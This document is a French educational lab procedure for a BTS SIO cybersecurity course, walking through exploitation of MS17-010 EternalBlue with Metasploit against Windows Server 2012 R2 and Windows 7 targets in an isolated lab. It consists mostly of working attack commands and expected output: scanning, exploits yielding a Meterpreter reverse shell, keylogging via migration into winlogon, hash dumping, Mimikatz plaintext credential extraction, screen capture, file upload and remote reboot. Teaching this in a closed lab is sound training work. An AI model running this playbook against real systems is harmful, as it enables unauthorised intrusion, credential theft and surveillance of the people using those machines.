🔐

MS17-010 EternalBlue

Procédure d'exploitation — Metasploit Framework

🎯 Cibles
Windows Server 2012 R2 Windows 7 SP1 x64
🛠️ Outil
Kali Linux 2025.3 Metasploit Framework
🌐 Protocole
SMBv1 — Port 445
💉 Payload
Meterpreter reverse_tcp
⚠️ Avertissement
Usage pédagogique uniquement
🔑 Identifiants
Administrateur / Password1234

🚨
Environnement de laboratoire isolé uniquement. Toute exploitation non autorisée de systèmes tiers est illégale et passible de sanctions pénales (article 323-1 du Code pénal). Cette procédure est réalisée dans un réseau virtuel fermé à des fins éducatives.
📋 Table des matières
01Présentation de la vulnérabilité MS17-010 02Préparation de l'environnement 03Phase 1 — Reconnaissance avec Nmap 04Phase 2 — Détection avec Metasploit 05Phase 3 — Exploitation BSOD (EternalBlue) 06Phase 4 — Exploitation avec Meterpreter 07Phase 5 — Post-exploitation (Windows 2012 R2) 08Phase 6 — Windows 7 SP1 x64 09Récapitulatif des commandes

MS17-010, aussi connue sous le nom EternalBlue, est une vulnérabilité critique affectant le protocole SMBv1 de Microsoft. Découverte par la NSA puis rendue publique par le groupe Shadow Brokers en avril 2017, elle a ensuite été exploitée par WannaCry et NotPetya.

AttributValeur
Identifiant CVECVE-2017-0144
Protocole affectéSMBv1 — Server Message Block version 1
Port ciblé445/TCP
Systèmes vulnérablesWindows XP, 7, 8.1, Server 2003 / 2008 / 2012 / 2016 (sans patch)
CriticitéCRITIQUE — CVSS : 9.3
ImpactRCE sans authentification (Remote Code Execution)
Patch MicrosoftMS17-010 — Mars 2017
💡 Comment fonctionne EternalBlue ?
EternalBlue exploite un dépassement de tampon (buffer overflow) dans la gestion des requêtes SMBv1 par le driver srv.sys. En envoyant un paquet SMB malformé, l'attaquant peut écraser des zones mémoire du noyau Windows et exécuter du code arbitraire avec les privilèges SYSTEM, sans aucune authentification préalable.

MachineRôleAdresse IPIdentifiants
Kali Linux 2025.3 Attaquant 172.17.14.x kali / kali
Windows Server 2012 R2 Cible principale 172.17.14.113 Administrateur / Password1234
Windows 7 SP1 x64 Cible secondaire 172.17.14.x Administrateur / Password1234
💡
S'assurer que les machines sont sur le même réseau virtuel (mode Réseau interne ou Host-Only) et que SMBv1 est activé sur les cibles Windows.

Depuis Kali, ouvrir un terminal et scanner le port 445 sur la cible.

bash
# Scanner le port SMB sur la cible
nmap -p 445 172.17.14.113
Résultat attendu :
PORT     STATE SERVICE
445/tcp open  microsoft-ds

Le port 445 est ouvert — le service SMB est actif. On peut tenter l'exploitation de MS17-010.


1
Démarrer Metasploit Framework
Depuis un terminal Kali, lancer la console Metasploit.
2
Rechercher les modules MS17-010
3
Charger et configurer le scanner
4
Exécuter le scan de détection
metasploit
# 1. Démarrer Metasploit
msfconsole

# 2. Rechercher les modules disponibles
search ms17_010

# 3. Charger le scanner de détection
use auxiliary/scanner/smb/smb_ms17_010

# 4. Vérifier les options
show options

# 5. Configurer la cible
set RHOSTS 172.17.14.113

# 6. Lancer le scan
run
Résultat attendu :
[+] 172.17.14.113:445 - Host is likely VULNERABLE to MS17-010!
📋 Liste des modules MS17-010
#ModuleRôle
0auxiliary/scanner/smb/smb_ms17_010Détection de la vulnérabilité
2exploit/windows/smb/ms17_010_eternalblueExploitation + BSOD
10exploit/windows/smb/ms17_010_psexecExploitation + Meterpreter

💡
Ouvrir le bureau Windows 2012 R2 avant de lancer l'exploit pour observer le BSOD en temps réel.
metasploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 172.17.14.113
exploit
💥
La machine cible affiche immédiatement un écran bleu (BSOD) avec le code :
STOP: 0x0000007E — SYSTEM_THREAD_EXCEPTION_NOT_HANDLED
📌 Explication technique du BSOD
Le crash est causé par un dépassement de tampon dans le driver srv.sys. EternalBlue envoie une requête SMB Trans2 malformée qui corrompt la mémoire noyau de Windows, forçant un arrêt immédiat du système pour éviter tout dommage supplémentaire. C'est le comportement de protection Windows face à une corruption mémoire critique.

Le module ms17_010_psexec permet d'obtenir un accès complet via le payload Meterpreter, offrant une session interactive avec des capacités étendues.

metasploit
# Charger le module d'exploitation Meterpreter
search ms17_010
use 10
# → exploit/windows/smb/ms17_010_psexec

# Configurer et lancer
set RHOSTS 172.17.14.113
show options
exploit
Session Meterpreter ouverte :
[*] Meterpreter session 1 opened
meterpreter >

Configuration réseau de la cible

meterpreter
meterpreter > ipconfig

Affiche les interfaces réseau, adresses IP, masques et passerelles de la machine Windows cible.

Télécharger le fichier hosts

meterpreter
meterpreter > download C:\\Windows\\System32\\drivers\\etc\\hosts
💡
La modification du fichier hosts permet de réaliser des attaques de redirection DNS locale sur la cible (DNS Spoofing).

Keylogger — Capture des frappes clavier

Pour capturer le mot de passe Windows, il faut migrer dans le processus winlogon.exe qui gère l'écran de connexion.

meterpreter
# 1. Lister les processus
meterpreter > ps

# 2. Migrer vers winlogon.exe (récupérer son PID depuis la liste)
meterpreter > migrate 2848

# 3. Vérifier le PID courant
meterpreter > getpid

# 4. Démarrer le keylogger
meterpreter > keyscan_start

# → Sur la cible : verrouiller la session et saisir le mot de passe

# 5. Récupérer les frappes enregistrées
meterpreter > keyscan_dump
Résultat attendu :
Keystrokes dumped:
Password1234<Return>
📌 Pourquoi migrer vers winlogon.exe ?
En migrant dans winlogon.exe (processus SYSTEM), le keylogger s'injecte dans le processus qui reçoit directement les événements clavier de l'écran de connexion Windows — permettant la capture du mot de passe en clair au moment de la saisie.

Extraction des hashes (base SAM)

meterpreter
meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Mots de passe en clair avec Mimikatz (Kiwi)

meterpreter
# Charger le module Kiwi (intégration Mimikatz)
meterpreter > load kiwi

# Extraire toutes les informations d'authentification
meterpreter > creds_all

# Alternative : extraire spécifiquement les credentials WDigest
meterpreter > creds_wdigest
Username Domain Password -------- ------ -------- Administrateur W2012-MM Password1234

Les hashes NTLM peuvent être soumis à John the Ripper / Hashcat ou utilisés pour des attaques Pass-the-Hash.

📌 Pourquoi WDigest permet-il les mots de passe en clair ?
WDigest est un protocole d'authentification qui, sur Windows 2012 R2 et antérieur (sans le patch KB2871997), stocke les credentials en clair dans la mémoire du processus lsass.exe. Mimikatz/Kiwi extrait directement cette zone mémoire pour récupérer les mots de passe en texte clair.

💡
Prérequis : Faire l'installation de Windows 7 Professionnel ou Éducatif. Ensuite mettre le Win7 en DHCP et désactiver les pare-feu afin de faire le TP. Faire un ping sur ton poste afin de vérifier si cela fonctionne → Ok

Connexion initiale

metasploit
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS <IP_WIN7>
set LHOST <IP_KALI>
exploit

Capture du clavier

meterpreter
meterpreter > ps
meterpreter > migrate <PID_winlogon>
meterpreter > keyscan_start
# → Attendre que l'utilisateur saisisse son mot de passe
meterpreter > keyscan_dump

Capture d'écran

meterpreter
# Screenshot statique (sauvegardé en PNG dans le dossier courant)
meterpreter > screenshot

# Flux en temps réel (ouvre un onglet dans le navigateur Kali)
meterpreter > screenshare

Hashes et mots de passe en clair

meterpreter
# Afficher les noms et hashes des mots de passe (base SAM)
meterpreter > hashdump
Administrateur:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter
# Charger Mimikatz et afficher les mots de passe en clair
meterpreter > load kiwi
meterpreter > creds_all
Username Domain Password -------- ------ -------- Administrateur WIN7-PC Password1234
meterpreter
# Alternative : dump direct de la base SAM via LSA
meterpreter > lsa_dump_sam
📌
lsa_dump_sam extrait directement les credentials depuis le sous-système d'autorité de sécurité locale (LSASS), sans passer par la base SAM chiffrée — utile quand hashdump échoue faute de privilèges suffisants.

Informations système

meterpreter
meterpreter > sysinfo
Computer       : WIN7-PC
OS             : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
Meterpreter  : x64/windows

Disques et médias amovibles

meterpreter
meterpreter > show_mount

Liste tous les points de montage : disques durs, lecteurs DVD, clés USB présentes sur la cible.

Cache ARP

meterpreter
meterpreter > arp

Affiche la table ARP de la machine cible (IP + MAC des machines connues), permettant de cartographier d'autres cibles sur le réseau local.

Déposer un fichier sur le bureau de la cible

💡
Info : Crée d'abord un fichier dans Kali, mets un mot dedans, puis dépose-le sur le PC piraté.

echo "Bonjour depuis Kali" > /home/kali/fichier.txt
bash — Kali
# 1. Créer le fichier dans Kali et y écrire un message
echo "Bonjour depuis Kali !" > /home/kali/fichier.txt
meterpreter
# 2. Uploader le fichier sur le bureau du PC piraté
meterpreter > upload /home/kali/fichier.txt "C:\\Users\\Administrateur\\Desktop\\fichier.txt"
Le fichier apparaît immédiatement sur le bureau de la machine cible, sans aucune interaction utilisateur.

Redémarrer la cible à distance

Faites redémarrer à distance la machine cible.

⚠️
Attention : Cette commande redémarre immédiatement la machine cible sans avertissement. La session Meterpreter sera perdue après le redémarrage.
meterpreter
# 1. Lister les processus pour trouver explorer.exe
meterpreter > ps

# 2. Migrer vers explorer.exe (récupérer son PID depuis la liste)
meterpreter > migrate <PID_explorer.exe>

# 3. Redémarrer la machine cible
meterpreter > reboot

CommandeDescriptionPhase
nmap -p 445 <IP>Scanner le port SMBReconnaissance
search ms17_010Lister les modulesMetasploit
use auxiliary/scanner/.../smb_ms17_010Charger le scannerDétection
set RHOSTS <IP>Définir la cibleConfiguration
run / exploitLancer le moduleExécution
use .../ms17_010_eternalblueCharger EternalBlueBSOD
use 10 (ms17_010_psexec)Exploit MeterpreterExploitation
set payload windows/x64/meterpreter/reverse_tcpPayload 64 bitsExploitation
ipconfigConfig réseau ciblePost-exploit
download <chemin>Télécharger un fichierPost-exploit
upload <src> <dst>Uploader un fichierPost-exploit
ps / migrate <PID>Lister / Migrer processusPost-exploit
keyscan_start / keyscan_dumpKeyloggerCredentials
hashdumpHashes SAMCredentials
load kiwiCharger MimikatzCredentials
creds_all / creds_wdigestMots de passe en clairCredentials
screenshot / screenshareCapture d'écranSurveillance
sysinfoInformations systèmeReconnaissance
show_mountDisques et médiasReconnaissance
arpCache ARP (réseau)Reconnaissance
rebootRedémarrer la cibleContrôle

📚
Références : CVE-2017-0144 | MS17-010 | EternalBlue
Patch Microsoft : KB4012212 (Windows 7) — KB4012213 (Windows 8.1) — KB4012214 (Windows Server 2003)
Metasploit Framework — Rapid7

BTS SIO SISR — Cybersécurité — Procédure pédagogique — Environnement de lab isolé